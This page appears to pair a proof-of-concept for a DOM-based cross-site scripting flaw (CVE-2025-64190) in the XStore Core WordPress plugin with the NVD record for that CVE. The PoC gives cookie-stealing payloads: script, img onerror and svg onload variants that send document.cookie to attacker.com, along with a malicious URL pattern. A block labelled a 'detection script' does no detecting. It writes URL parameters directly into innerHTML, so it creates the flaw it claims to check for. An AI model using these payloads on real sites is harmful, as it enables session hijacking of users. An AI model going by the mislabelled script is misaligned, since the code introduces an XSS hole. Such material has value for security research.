CVE-2025-64190

<!-- DOM-Based XSS PoC for CVE-2025-64190 --> <!-- 攻击者构造的恶意URL示例 --> <script> // 恶意payload - 窃取用户cookie var stolenCookie = document.cookie; // 发送到攻击者控制的服务器 fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie)); </script> <!-- 更隐蔽的payload - 使用事件处理器 --> <img src=x onerror='fetch("https://attacker.com/log?data="+document.cookie)'> <!-- 简化的攻击URL构造 --> <!-- 正常URL: https://victim.com/?parameter=value --> <!-- 恶意URL: https://victim.com/?parameter=<script>alert(document.domain)</script> --> <!-- 或使用SVG标签绕过过滤 --> <!-- https://victim.com/?parameter=<svg/onload=fetch("https://attacker.com/"+document.cookie)> --> <!-- 实际的DOM XSS利用需要找到插件中具体的不安全sink点 --> <!-- 常见的不安全DOM操作包括： --> <!-- 1. element.innerHTML = userInput --> <!-- 2. document.write(userInput) --> <!-- 3. eval(userInput) --> <!-- 4. setTimeout/setInterval with string --> <!-- 5. location.href = userInput --> <!-- 自动化检测脚本 --> (function() { var params = new URLSearchParams(window.location.search); params.forEach(function(value, key) { // 检查是否直接使用用户输入在DOM中 document.getElementById('target').innerHTML = value; }); })();

{"cve": {"id": "CVE-2025-64190", "sourceIdentifier": "[email protected]", "published": "2025-12-30T16:15:45.780", "lastModified": "2026-04-23T15:35:03.310", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in 8theme XStore Core et-core-plugin allows DOM-Based XSS.This issue affects XStore Core: from n/a through < 5.6."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en 8theme.Com XStore Core permite XSS basado en DOM. Este problema afecta a XStore Core: desde n/a antes de 5.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/et-core-plugin/vulnerability/wordpress-xstore-core-plugin-5-6-cross-site-scripting-xss-vulnerability-2?_s_id=cve", "source": "[email protected]"}]}}